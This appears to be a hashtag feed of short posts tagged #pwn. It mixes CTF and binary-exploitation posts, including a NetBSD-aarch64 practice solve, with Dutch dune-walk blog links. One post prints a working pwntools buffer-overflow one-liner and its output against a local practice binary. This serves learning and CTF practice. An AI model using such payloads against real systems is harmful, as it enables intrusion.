Last weekend I attended FlagWars 2026, an in-person CTF organized by Laokoon, IBM and CGI. It has been some time since my last Jeopardy CTF, so getting back into it was a great time. Beyond the competition itself, you always meet a ton of cool new (and familiar!) people at these events.

To recap one of the challenges, I wrote up my full solve for "Lightsaber Constructor", a pwn challenge where a Use-After-Free bug let me chain tcache poisoning and a GOT overwrite for a shell. Check it out and let me know what you think!

#pwn #ctf #flagwars #ExploitDevelopment

https://s3mme.com/posts/flagwars-2026-lightsaber-constructor/

Voorjaarsperikelen in de duinen

Lees en kijk verder / 3 foto's:

https://willemswebstek.blog/2026/04/01/voorjaarsperikelen-in-de-duinen/

#nhduinreservaat #pwn #wijkaanzee #heemskerk #wandelen #willemswebstek

Geen waterballet meer

Lees en kijk verder / 7 foto's:

https://willemswebstek.blog/2026/03/18/geen-waterballet-meer/

#lekkage #leiding #nhduinreservaat #pwn #wijkaanzee #heemskerk #wandelen #willemswebstek

pwning NetBSD-aarch64 (ARM)
- http://www.feyrer.de/NetBSD/blog.html/nb_20260308_1932.html

#pwn #binaryexploitation #ctf #cybersecurity #pwntools #gdb #netbsd #arm #aarch64

This afternoon's fun: pwning NetBSD-aarch64 (ARM)

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA�
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 [email protected]:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

#pwn #netbsd #binaryexploitation #arm #aarch64 #pwntools #gdb #ctf

„Picture yourself as a digital maestro, orchestrating a symphony of code in a vast digital realm. However, there’s a twist: you don’t get to pen down your own notes. Instead, you're given a legacy of existing code snippets, scattered across the system. This is the essence of Return Oriented Programming (ROP) exploits!“ (pwn.college)

#rop #returnorientedprogramming #pwn #ctf #cybersecurity #pwncollege

Rondje duinbos Heemskerk

Lees en kijk verder / 8 foto's:

https://willemswebstek.blog/2026/03/04/rondje-duinbos-heemskerk/

#nhduinreservaat #pwn #heemskerk #wandelen #willemswebstek